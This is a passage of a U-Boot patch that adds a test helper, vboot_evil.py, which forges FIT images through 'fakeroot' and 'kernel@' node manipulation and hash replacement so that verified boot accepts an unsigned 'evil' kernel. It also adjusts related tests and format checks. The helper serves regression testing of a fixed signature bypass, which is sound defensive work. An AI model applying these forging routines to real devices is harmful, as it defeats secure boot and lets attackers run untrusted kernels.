+ util.run_and_log_expect_exception(
+ cons, [fit_check_sign, '-f', efit, '-k', dtb],
+ 1, msg)
+ run_bootm(sha_algo, 'evil kernel@', msg, False, efit)
# Create a new properly signed fit and replace header bytes
make_fit('sign-configs-%s%s.its' % (sha_algo, padding))
@@ -344,8 +378,13 @@ def test_vboot(u_boot_console, sha_algo, padding, sign_options, required):
create_rsa_pair('prod')
# Create a number kernel image with zeroes
- with open('%stest-kernel.bin' % tmpdir, 'w') as fd:
- fd.write(500 * chr(0))
+ with open('%stest-kernel.bin' % tmpdir, 'wb') as fd:
+ fd.write(500 * b'\0')
+
+ # Create a second kernel image with ones
+ evil_kernel = '%stest-kernel1.bin' % tmpdir
+ with open(evil_kernel, 'wb') as fd:
+ fd.write(500 * b'\x01')
try:
# We need to use our own device tree file. Remember to restore it
diff --git a/test/py/tests/vboot_evil.py b/test/py/tests/vboot_evil.py
new file mode 100644
index 0000000000..9825c21716
--- /dev/null
+++ b/test/py/tests/vboot_evil.py
@@ -0,0 +1,485 @@
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2020, Intel Corporation
+
+"""Modifies a devicetree to add a fake root node, for testing purposes"""
+
+import hashlib
+import struct
+import sys
+
+FDT_PROP = 0x3
+FDT_BEGIN_NODE = 0x1
+FDT_END_NODE = 0x2
+FDT_END = 0x9
+
+FAKE_ROOT_ATTACK = 0
+KERNEL_AT = 1
+
+MAGIC = 0xd00dfeed
+
+EVIL_KERNEL_NAME = b'evil_kernel'
+FAKE_ROOT_NAME = b'f@keroot'
+
+
+def getstr(dt_strings, off):
+ """Get a string from the devicetree string table
+
+ Args:
+ dt_strings (bytes): Devicetree strings section
+ off (int): Offset of string to read
+
+ Returns:
+ str: String read from the table
+ """
+ output = ''
+ while dt_strings[off]:
+ output += chr(dt_strings[off])
+ off += 1
+
+ return output
+
+
+def align(offset):
+ """Align an offset to a multiple of 4
+
+ Args:
+ offset (int): Offset to align
+
+ Returns:
+ int: Resulting aligned offset (rounds up to nearest multiple)
+ """
+ return (offset + 3) & ~3
+
+
+def determine_offset(dt_struct, dt_strings, searched_node_name):
+ """Determines the offset of an element, either a node or a property
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ searched_node_name (str): element path, ex: /images/kernel@1/data
+
+ Returns:
+ tuple: (node start offset, node end offset)
+ if element is not found, returns (None, None)
+ """
+ offset = 0
+ depth = -1
+
+ path = '/'
+
+ object_start_offset = None
+ object_end_offset = None
+ object_depth = None
+
+ while offset < len(dt_struct):
+ (tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+ if tag == FDT_BEGIN_NODE:
+ depth += 1
+
+ begin_node_offset = offset
+ offset += 4
+
+ node_name = getstr(dt_struct, offset)
+ offset += len(node_name) + 1
+ offset = align(offset)
+
+ if path[-1] != '/':
+ path += '/'
+
+ path += str(node_name)
+
+ if path == searched_node_name:
+ object_start_offset = begin_node_offset
+ object_depth = depth
+
+ elif tag == FDT_PROP:
+ begin_prop_offset = offset
+
+ offset += 4
+ len_tag, nameoff = struct.unpack('>II',
+ dt_struct[offset:offset + 8])
+ offset += 8
+ prop_name = getstr(dt_strings, nameoff)
+
+ len_tag = align(len_tag)
+
+ offset += len_tag
+
+ node_path = path + '/' + str(prop_name)
+
+ if node_path == searched_node_name:
+ object_start_offset = begin_prop_offset
+
+ elif tag == FDT_END_NODE:
+ offset += 4
+
+ path = path[:path.rfind('/')]
+ if not path:
+ path = '/'
+
+ if depth == object_depth:
+ object_end_offset = offset
+ break
+ depth -= 1
+ elif tag == FDT_END:
+ break
+
+ else:
+ print('unknown tag=0x%x, offset=0x%x found!' % (tag, offset))
+ break
+
+ return object_start_offset, object_end_offset
+
+
+def modify_node_name(dt_struct, node_offset, replcd_name):
+ """Change the name of a node
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ node_offset (int): Offset of node
+ replcd_name (str): New name for node
+
+ Returns:
+ bytes: New dt_struct contents
+ """
+
+ # skip 4 bytes for the FDT_BEGIN_NODE
+ node_offset += 4
+
+ node_name = getstr(dt_struct, node_offset)
+ node_name_len = len(node_name) + 1
+
+ node_name_len = align(node_name_len)
+
+ replcd_name += b'\0'
+
+ # align on 4 bytes
+ while len(replcd_name) % 4:
+ replcd_name += b'\0'
+
+ dt_struct = (dt_struct[:node_offset] + replcd_name +
+ dt_struct[node_offset + node_name_len:])
+
+ return dt_struct
+
+
+def modify_prop_content(dt_struct, prop_offset, content):
+ """Overwrite the value of a property
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ prop_offset (int): Offset of property (FDT_PROP tag)
+ content (bytes): New content for the property
+
+ Returns:
+ bytes: New dt_struct contents
+ """
+ # skip FDT_PROP
+ prop_offset += 4
+ (len_tag, nameoff) = struct.unpack('>II',
+ dt_struct[prop_offset:prop_offset + 8])
+
+ # compute padded original node length
+ original_node_len = len_tag + 8 # content length + prop meta data len
+
+ original_node_len = align(original_node_len)
+
+ added_data = struct.pack('>II', len(content), nameoff)
+ added_data += content
+ while len(added_data) % 4:
+ added_data += b'\0'
+
+ dt_struct = (dt_struct[:prop_offset] + added_data +
+ dt_struct[prop_offset + original_node_len:])
+
+ return dt_struct
+
+
+def change_property_value(dt_struct, dt_strings, prop_path, prop_value,
+ required=True):
+ """Change a given property value
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ prop_path (str): full path of the target property
+ prop_value (bytes): new property name
+ required (bool): raise an exception if property not found
+
+ Returns:
+ bytes: New dt_struct contents
+
+ Raises:
+ ValueError: if the property is not found
+ """
+ (rt_node_start, _) = determine_offset(dt_struct, dt_strings, prop_path)
+ if rt_node_start is None:
+ if not required:
+ return dt_struct
+ raise ValueError('Fatal error, unable to find prop %s' % prop_path)
+
+ dt_struct = modify_prop_content(dt_struct, rt_node_start, prop_value)
+
+ return dt_struct
+
+def change_node_name(dt_struct, dt_strings, node_path, node_name):
+ """Change a given node name
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ node_path (str): full path of the target node
+ node_name (str): new node name, just node name not full path
+
+ Returns:
+ bytes: New dt_struct contents
+
+ Raises:
+ ValueError: if the node is not found
+ """
+ (rt_node_start, rt_node_end) = (
+ determine_offset(dt_struct, dt_strings, node_path))
+ if rt_node_start is None or rt_node_end is None:
+ raise ValueError('Fatal error, unable to find root node')
+
+ dt_struct = modify_node_name(dt_struct, rt_node_start, node_name)
+
+ return dt_struct
+
+def get_prop_value(dt_struct, dt_strings, prop_path):
+ """Get the content of a property based on its path
+
+ Args:
+ dt_struct (bytes): Devicetree struct section
+ dt_strings (bytes): Devicetree strings section
+ prop_path (str): full path of the target property
+
+ Returns:
+ bytes: Property value
+
+ Raises:
+ ValueError: if the property is not found
+ """
+ (offset, _) = determine_offset(dt_struct, dt_strings, prop_path)
+ if offset is None:
+ raise ValueError('Fatal error, unable to find prop')
+
+ offset += 4
+ (len_tag,) = struct.unpack('>I', dt_struct[offset:offset + 4])
+
+ offset += 8
+ tag_data = dt_struct[offset:offset + len_tag]
+
+ return tag_data
+
+
+def kernel_at_attack(dt_struct, dt_strings, kernel_content, kernel_hash):
+ """Conduct the kernel@ attack
+
+ It fetches from /configurations/default the name of the kernel being loaded.
+ Then, if the kernel name does not contain any @sign, duplicates the kernel
+ in /images node and appends '@evil' to its name.
+ It inserts a new kernel content and updates its images digest.
+
+ Inputs:
+ - FIT dt_struct
+ - FIT dt_strings
+ - kernel content blob
+ - kernel hash blob
+
+ Important note: it assumes the U-Boot loading method is 'kernel' and the
+ loaded kernel hash's subnode name is 'hash-1'
+ """
+
+ # retrieve the default configuration name
+ default_conf_name = get_prop_value(
+ dt_struct, dt_strings, '/configurations/default')
+ default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+ conf_path = '/configurations/' + default_conf_name
+
+ # fetch the loaded kernel name from the default configuration
+ loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+ loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+ if loaded_kernel.find('@') != -1:
+ print('kernel@ attack does not work on nodes already containing an @ sign!')
+ sys.exit()
+
+ # determine boundaries of the loaded kernel
+ (krn_node_start, krn_node_end) = (determine_offset(
+ dt_struct, dt_strings, '/images/' + loaded_kernel))
+ if krn_node_start is None and krn_node_end is None:
+ print('Fatal error, unable to find root node')
+ sys.exit()
+
+ # copy the loaded kernel
+ loaded_kernel_copy = dt_struct[krn_node_start:krn_node_end]
+
+ # insert the copy inside the tree
+ dt_struct = dt_struct[:krn_node_start] + \
+ loaded_kernel_copy + dt_struct[krn_node_start:]
+
+ evil_kernel_name = loaded_kernel+'@evil'
+
+ # change the inserted kernel name
+ dt_struct = change_node_name(
+ dt_struct, dt_strings, '/images/' + loaded_kernel, bytes(evil_kernel_name, 'utf-8'))
+
+ # change the content of the kernel being loaded
+ dt_struct = change_property_value(
+ dt_struct, dt_strings, '/images/' + evil_kernel_name + '/data', kernel_content)
+
+ # change the content of the kernel being loaded
+ dt_struct = change_property_value(
+ dt_struct, dt_strings, '/images/' + evil_kernel_name + '/hash-1/value', kernel_hash)
+
+ return dt_struct
+
+
+def fake_root_node_attack(dt_struct, dt_strings, kernel_content, kernel_digest):
+ """Conduct the fakenode attack
+
+ It duplicates the original root node at the beginning of the tree.
+ Then it modifies within this duplicated tree:
+ - The loaded kernel name
+ - The loaded kernel data
+
+ Important note: it assumes the UBoot loading method is 'kernel' and the loaded kernel
+ hash's subnode name is hash@1
+ """
+
+ # retrieve the default configuration name
+ default_conf_name = get_prop_value(
+ dt_struct, dt_strings, '/configurations/default')
+ default_conf_name = str(default_conf_name[:-1], 'utf-8')
+
+ conf_path = '/configurations/'+default_conf_name
+
+ # fetch the loaded kernel name from the default configuration
+ loaded_kernel = get_prop_value(dt_struct, dt_strings, conf_path + '/kernel')
+
+ loaded_kernel = str(loaded_kernel[:-1], 'utf-8')
+
+ # determine root node start and end:
+ (rt_node_start, rt_node_end) = (determine_offset(dt_struct, dt_strings, '/'))
+ if (rt_node_start is None) or (rt_node_end is None):
+ print('Fatal error, unable to find root node')
+ sys.exit()
+
+ # duplicate the whole tree
+ duplicated_node = dt_struct[rt_node_start:rt_node_end]
+
+ # dchange root name (empty name) to fake root name
+ new_dup = change_node_name(duplicated_node, dt_strings, '/', FAKE_ROOT_NAME)
+
+ dt_struct = new_dup + dt_struct
+
+ # change the value of /<fake_root_name>/configs/<default_config_name>/kernel
+ # so our modified kernel will be loaded
+ base = '/' + str(FAKE_ROOT_NAME, 'utf-8')
+ value_path = base + conf_path+'/kernel'
+ dt_struct = change_property_value(dt_struct, dt_strings, value_path,
+ EVIL_KERNEL_NAME + b'\0')
+
+ # change the node of the /<fake_root_name>/images/<original_kernel_name>
+ images_path = base + '/images/'
+ node_path = images_path + loaded_kernel
+ dt_struct = change_node_name(dt_struct, dt_strings, node_path,
+ EVIL_KERNEL_NAME)
+
+ # change the content of the kernel being loaded
+ data_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/data'
+ dt_struct = change_property_value(dt_struct, dt_strings, data_path,
+ kernel_content, required=False)
+
+ # update the digest value
+ hash_path = images_path + str(EVIL_KERNEL_NAME, 'utf-8') + '/hash-1/value'
+ dt_struct = change_property_value(dt_struct, dt_strings, hash_path,
+ kernel_digest)
+
+ return dt_struct
+
+def add_evil_node(in_fname, out_fname, kernel_fname, attack):
+ """Add an evil node to the devicetree
+
+ Args:
+ in_fname (str): Filename of input devicetree
+ out_fname (str): Filename to write modified devicetree to
+ kernel_fname (str): Filename of kernel data to add to evil node
+ attack (str): Attack type ('fakeroot' or 'kernel@')
+
+ Raises:
+ ValueError: Unknown attack name
+ """
+ if attack == 'fakeroot':
+ attack = FAKE_ROOT_ATTACK
+ elif attack == 'kernel@':
+ attack = KERNEL_AT
+ else:
+ raise ValueError('Unknown attack name!')
+
+ with open(in_fname, 'rb') as fin:
+ input_data = fin.read()
+
+ hdr = input_data[0:0x28]
+
+ offset = 0
+ magic = struct.unpack('>I', hdr[offset:offset + 4])[0]
+ if magic != MAGIC:
+ raise ValueError('Wrong magic!')
+
+ offset += 4
+ (totalsize, off_dt_struct, off_dt_strings, off_mem_rsvmap, version,
+ last_comp_version, boot_cpuid_phys, size_dt_strings,
+ size_dt_struct) = struct.unpack('>IIIIIIIII', hdr[offset:offset + 36])
+
+ rsv_map = input_data[off_mem_rsvmap:off_dt_struct]
+ dt_struct = input_data[off_dt_struct:off_dt_struct + size_dt_struct]
+ dt_strings = input_data[off_dt_strings:off_dt_strings + size_dt_strings]
+
+ with open(kernel_fname, 'rb') as kernel_file:
+ kernel_content = kernel_file.read()
+
+ # computing inserted kernel hash
+ val = hashlib.sha1()
+ val.update(kernel_content)
+ hash_digest = val.digest()
+
+ if attack == FAKE_ROOT_ATTACK:
+ dt_struct = fake_root_node_attack(dt_struct, dt_strings, kernel_content,
+ hash_digest)
+ elif attack == KERNEL_AT:
+ dt_struct = kernel_at_attack(dt_struct, dt_strings, kernel_content,
+ hash_digest)
+
+ # now rebuild the new file
+ size_dt_strings = len(dt_strings)
+ size_dt_struct = len(dt_struct)
+ totalsize = 0x28 + len(rsv_map) + size_dt_struct + size_dt_strings
+ off_mem_rsvmap = 0x28
+ off_dt_struct = off_mem_rsvmap + len(rsv_map)
+ off_dt_strings = off_dt_struct + len(dt_struct)
+
+ header = struct.pack('>IIIIIIIIII', MAGIC, totalsize, off_dt_struct,
+ off_dt_strings, off_mem_rsvmap, version,
+ last_comp_version, boot_cpuid_phys, size_dt_strings,
+ size_dt_struct)
+
+ with open(out_fname, 'wb') as output_file:
+ output_file.write(header)
+ output_file.write(rsv_map)
+ output_file.write(dt_struct)
+ output_file.write(dt_strings)
+
+if __name__ == '__main__':
+ if len(sys.argv) != 5:
+ print('usage: %s <input_filename> <output_filename> <kernel_binary> <attack_name>' %
+ sys.argv[0])
+ print('valid attack names: [fakeroot, kernel@]')
+ sys.exit(1)
+
+ add_evil_node(sys.argv[1:])
diff --git a/test/py/tests/vboot_forge.py b/test/py/tests/vboot_forge.py
index 0fb7ef4024..b41105bd0e 100644
--- a/test/py/tests/vboot_forge.py
+++ b/test/py/tests/vboot_forge.py
@@ -376,12 +376,12 @@ def manipulate(root, strblock):
"""
Maliciously manipulates the structure to create a crafted FIT file
"""
- # locate /images/kernel@1 (frankly, it just expects it to be the first one)
+ # locate /images/kernel-1 (frankly, it just expects it to be the first one)
kernel_node = root[0][0]
# clone it to save time filling all the properties
fake_kernel = kernel_node.clone()
# rename the node
- fake_kernel.name = b'kernel@2'
+ fake_kernel.name = b'kernel-2'
# get rid of signatures/hashes
fake_kernel.children = []
# NOTE: this simply replaces the first prop... either description or data
@@ -391,13 +391,13 @@ def manipulate(root, strblock):
root[0].children.append(fake_kernel)
# modify the default configuration
- root[1].props[0].value = b'conf@2\x00'
+ root[1].props[0].value = b'conf-2\x00'
# clone the first (only?) configuration
fake_conf = root[1][0].clone()
# rename and change kernel and fdt properties to select the crafted kernel
- fake_conf.name = b'conf@2'
- fake_conf.props[0].value = b'kernel@2\x00'
- fake_conf.props[1].value = b'fdt@1\x00'
+ fake_conf.name = b'conf-2'
+ fake_conf.props[0].value = b'kernel-2\x00'
+ fake_conf.props[1].value = b'fdt-1\x00'
# insert the new configuration under /configurations
root[1].children.append(fake_conf)
diff --git a/tools/fit_common.c b/tools/fit_common.c
index cdf987d3c1..52b63296f8 100644
--- a/tools/fit_common.c
+++ b/tools/fit_common.c
@@ -26,7 +26,8 @@
int fit_verify_header(unsigned char *ptr, int image_size,
struct image_tool_params *params)
{
- if (fdt_check_header(ptr) != EXIT_SUCCESS || !fit_check_format(ptr))
+ if (fdt_check_header(ptr) != EXIT_SUCCESS ||
+ fit_check_format(ptr, IMAGE_SIZE_INVAL))
return EXIT_FAILURE;
return EXIT_SUCCESS;
diff --git a/tools/fit_image.c b/tools/fit_image.c
index 06faeda7c2..d440d143c6 100644
--- a/tools/fit_image.c
+++ b/tools/fit_image.c
@@ -883,7 +883,7 @@ static int fit_extract_contents(void *ptr, struct image_tool_params *params)
/* Indent string is defined in header image.h */
p = IMAGE_INDENT_STRING;
- if (!fit_check_format(fit)) {
+ if (fit_check_format(fit, IMAGE_SIZE_INVAL)) {
printf("Bad FIT image format\n");
return -1;
}
diff --git a/tools/mkimage.h b/tools/mkimage.h
index 5b096a545b..0d3148444c 100644
--- a/tools/mkimage.h
+++ b/tools/mkimage.h
@@ -29,6 +29,8 @@
#define debug(fmt,args...)
#endif /* MKIMAGE_DEBUG */
+#define log_debug(fmt, args...) debug(fmt, ##args)
+
static inline void *map_sysmem(ulong paddr, unsigned long len)
{
return (void *)(uintptr_t)paddr;